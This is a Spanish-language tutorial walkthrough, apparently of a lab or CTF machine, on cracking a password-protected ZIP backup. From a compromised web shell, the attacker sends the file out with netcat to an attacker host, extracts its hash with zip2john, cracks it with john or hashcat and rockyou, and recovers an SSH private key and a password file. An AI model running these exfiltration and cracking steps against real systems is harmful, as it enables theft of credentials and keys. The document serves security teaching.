3 minuto(s) estimado(s) de lectura
ZIP cracking
técnica de recuperación
Es el proceso de intentar recuperar la contraseña de un archivo zip cifrado sin tener que conocerla. Se realiza mediante el uso de herramientas de cracking que intentan diferentes combinaciones de contraseñas hasta encontrar la correcta.
Ejemplo práctico
En este caso tenemos el caso de una máquina víctima en que se ingresó desde una web y se detecta un backup para acceder como un usuario:
www-data@user:/var/backups$ ls
alternatives.tar.0 alternatives.tar.2.gz dpkg.arch.0 dpkg.arch.2.gz dpkg.diversions.1.gz dpkg.statoverride.0 dpkg.statoverride.2.gz dpkg.status.1.gz user_backup.zip
alternatives.tar.1.gz apt.extended_states.0 dpkg.arch.1.gz dpkg.diversions.0 dpkg.diversions.2.gz dpkg.statoverride.1.gz dpkg.status.0 dpkg.status.2.gz
Nos enviamos el zip a la máquina atacante por medio de netcat:
www-data@user:/var/backups$ nc 10.1.1.19 4646 < user_backup.zip
Y lo recibimos en la máquina de la siguiente forma:
┌─[root@kali]─[/home/user/zip]
└──╼ nc -nlvp 4646 > user_backup.zip
listening on [any] 4646 ...
connect to [10.1.1.19] from (UNKNOWN) [10.1.1.40] 56460
^C
┌─[root@kali]─[/home/user/zip]
└──╼ ls
user_backup.zip
Una vez lo tenemos en nuestra máquina atacante, verificamos abrirlo:
┌─[root@kali]─[/home/user/zip]
└──╼ unzip user_backup.zip
Archive: user_backup.zip
[user_backup.zip] id_rsa password:
skipping: id_rsa incorrect password
skipping: id_rsa.pub incorrect password
skipping: my_password.txt incorrect password
skipping: easysysinfo.c incorrect password
Ahora necesitamos obtener un hash del archivo zip por medio de la herramienta zip2john
, incluida en el paquete John the Ripper que permite extraer el hash de contraseñas de archivos zip.
┌─[root@kali]─[/home/user/zip]
└──╼ zip2john user_backup.zip > hash
ver 2.0 efh 5455 efh 7875 user_backup.zip/id_rsa PKZIP Encr: TS_chk, cmplen=1979, decmplen=2590, crc=A144E09A ts=0298 cs=0298 type=8
ver 2.0 efh 5455 efh 7875 user_backup.zip/id_rsa.pub PKZIP Encr: TS_chk, cmplen=470, decmplen=563, crc=41C30277 ts=029A cs=029a type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** user_backup.zip/my_password.txt PKZIP Encr: TS_chk, cmplen=35, decmplen=23, crc=21E9B663 ts=02BA cs=02ba type=0
ver 2.0 efh 5455 efh 7875 user_backup.zip/easysysinfo.c PKZIP Encr: TS_chk, cmplen=115, decmplen=148, crc=A256BBD9 ts=0170 cs=0170 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌─[root@kali]─[/home/user/zip]
└──╼ cat hash
user_backup.zip:$pkzip$4*1*1*0*8*24*0170*ec4fd2b0aa20f56edb8a937f1139b2d2629a0cae87a5fc2350b0c4162c0c397334b2d3ad*1*0*8*24*029a*7bf140f80a405c4cf07debe3636404195407270f1d414555d6dc8b670dfd98659a733cb0*1*0*8*24*0298*625ef25ed71ddc48eaa744529308a8ccb41ce3deb3d707da114f2fb6f56de89adc7060e4*2*0*23*17*21e9b663*a35*49*0*23*02ba*9c8949619fb53f6d8f1f200bfedaf3321542d0d588aca8f8a1c5da5113463a151a5058*$/pkzip$::user_backup.zip:my_password.txt, easysysinfo.c, id_rsa.pub, id_rsa:user_backup.zip
Una vez obtenemos el hash, los crackeamos por medio de john
:
┌─[root@kali]─[/home/user/zip]
└──╼ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!randybaby (user_backup.zip)
1g 0:00:00:04 DONE (2023-03-04 19:31) 0.2293g/s 3289Kp/s 3289Kc/s 3289KC/s "2parrow"..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Para hashcat se podría realizar lo siguiente:
hashcat.exe -m 17200 -a 0 -o output.txt --force --potfile-disable hash.txt rockyou.txt
Detectamos que la contraseña es !randybaby
y la probamos para acceder:
┌─[root@kali]─[/home/user/zip]
└──╼ unzip user_backup.zip
Archive: user_backup.zip
[user_backup.zip] id_rsa password:
inflating: id_rsa
inflating: id_rsa.pub
extracting: my_password.txt
inflating: easysysinfo.c
┌─[root@kali]─[/home/user/zip]
└──╼ ls
easysysinfo.c hash id_rsa id_rsa.pub my_password.txt user_backup.zip
Como se aprecia obtenemos acceso y podemos observar los archivos de la contraseña y del id_rsa, que se podría usar dando los privilegios adecuados chmod 600 id_rsa
.